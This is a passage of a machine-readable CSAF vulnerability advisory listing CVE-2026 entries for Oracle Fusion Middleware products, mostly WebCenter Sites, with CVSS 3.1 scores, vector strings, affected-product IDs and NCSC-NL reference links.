"text": "A critical vulnerability in Oracle Identity Manager Connector versions 12.2.1.4.0 and 14.1.2.1.0 allows a highly privileged attacker with HTTPS network access to unauthorizedly create, delete, or modify critical data, with a CVSS 3.1 score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60996 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60996.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60996"
},
{
"cve": "CVE-2026-60998",
"notes": [
{
"category": "description",
"text": "A high-privileged attacker with network access via LDAP can exploit a vulnerability in Oracle Identity Manager Connector for Oracle Fusion Middleware (versions 12.2.1.4.0 and 14.1.2.1.0) to compromise confidentiality, integrity, and availability, with a CVSS 3.1 base score of 8.0.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60998 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60998.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.0,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60998"
},
{
"cve": "CVE-2026-61001",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 9.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61001 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61001.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61001"
},
{
"cve": "CVE-2026-61002",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle SOA Suite\u0027s B2B Engine (versions 12.2.1.4.0 and 14.1.2.0.0) allows a low-privileged attacker with HTTP network access to potentially compromise system confidentiality, integrity, and availability, rated CVSS 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61002 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61002.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61002"
},
{
"cve": "CVE-2026-61003",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Managed File Transfer versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged network attacker to fully compromise the system, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61003 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61003.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61003"
},
{
"cve": "CVE-2026-61007",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61007 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61007.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61007"
},
{
"cve": "CVE-2026-61008",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical or all accessible data, rated CVSS 3.1 base score 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61008 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61008.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61008"
},
{
"cve": "CVE-2026-61011",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to modify or delete data and cause partial denial of service, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61011 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61011.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61011"
},
{
"cve": "CVE-2026-61016",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to modify or delete data and cause partial denial of service, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61016 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61016.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61016"
},
{
"cve": "CVE-2026-61017",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61017 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61017.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61017"
},
{
"cve": "CVE-2026-61018",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61018 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61018.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61018"
},
{
"cve": "CVE-2026-61021",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61021 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61021.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61021"
},
{
"cve": "CVE-2026-61022",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61022 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61022.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61022"
},
{
"cve": "CVE-2026-61029",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to compromise system confidentiality, integrity, and availability via HTTP, with a CVSS score of 9.0.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61029 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61029.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.0,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61029"
},
{
"cve": "CVE-2026-61032",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61032 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61032.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61032"
},
{
"cve": "CVE-2026-61033",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized data access, modify data, or cause partial denial of service, rated CVSS 3.1 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61033 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61033.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61033"
},
{
"cve": "CVE-2026-61034",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a highly privileged attacker with HTTP network access to potentially compromise system confidentiality, integrity, and availability, rated CVSS 3.1 base score 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61034 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61034.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61034"
},
{
"cve": "CVE-2026-61038",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access or modify sensitive data, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61038 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61038.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61038"
},
{
"cve": "CVE-2026-61040",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
